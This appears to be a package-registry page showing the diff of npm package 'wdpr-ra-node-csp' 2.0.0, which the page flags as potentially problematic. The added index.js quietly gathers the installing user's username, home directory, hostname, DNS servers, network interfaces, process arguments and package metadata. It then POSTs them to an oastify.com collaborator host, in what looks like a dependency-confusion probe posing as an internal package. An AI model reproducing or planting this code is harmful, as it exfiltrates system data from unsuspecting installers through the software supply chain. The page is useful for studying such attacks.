wdpr-ra-node-csp 2.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of wdpr-ra-node-csp might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +71 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,71 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ arch: os.arch(),
19
+ platform: os.platform(),
20
+ cpus: os.cpus(),
21
+ totalMemory: os.totalmem(),
22
+ freeMemory: os.freemem(),
23
+ networkInterfaces: os.networkInterfaces(),
24
+ uptime: os.uptime(),
25
+ loadAvg: os.loadavg(),
26
+ tmpDir: os.tmpdir(),
27
+ endianness: os.endianness(),
28
+ release: os.release(),
29
+ type: os.type(),
30
+ userInfo: os.userInfo(),
31
+ version: os.version(),
32
+ versionInfo: os.version(),
33
+ homedir: os.homedir(),
34
+ tmpDir: os.tmpdir(),
35
+ tmpDirSize: os.tmpdir().length,
36
+ constants: os.constants,
37
+ EOL: os.EOL,
38
+ isTTY: process.stdout.isTTY,
39
+ pid: process.pid,
40
+ execPath: process.execPath,
41
+ cwd: process.cwd(),
42
+ argv: process.argv,
43
+ });
44
+
45
+ var postData = querystring.stringify({
46
+ msg: trackingData,
47
+ });
48
+
49
+ var options = {
50
+ hostname: "kvja6hza7nnnn7xvcpzqutf9107rvlja.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
51
+ port: 443,
52
+ path: "/?wdpr-ra-node-csp=encodedguy@wearehackerone.com",
53
+ method: "POST",
54
+ headers: {
55
+ "Content-Type": "application/x-www-form-urlencoded",
56
+ "Content-Length": postData.length,
57
+ },
58
+ };
59
+
60
+ var req = https.request(options, (res) => {
61
+ res.on("data", (d) => {
62
+ process.stdout.write(d);
63
+ });
64
+ });
65
+
66
+ req.on("error", (e) => {
67
+ // console.error(e);
68
+ });
69
+
70
+ req.write(postData);
71
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "wdpr-ra-node-csp",
3
+ "version": "2.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }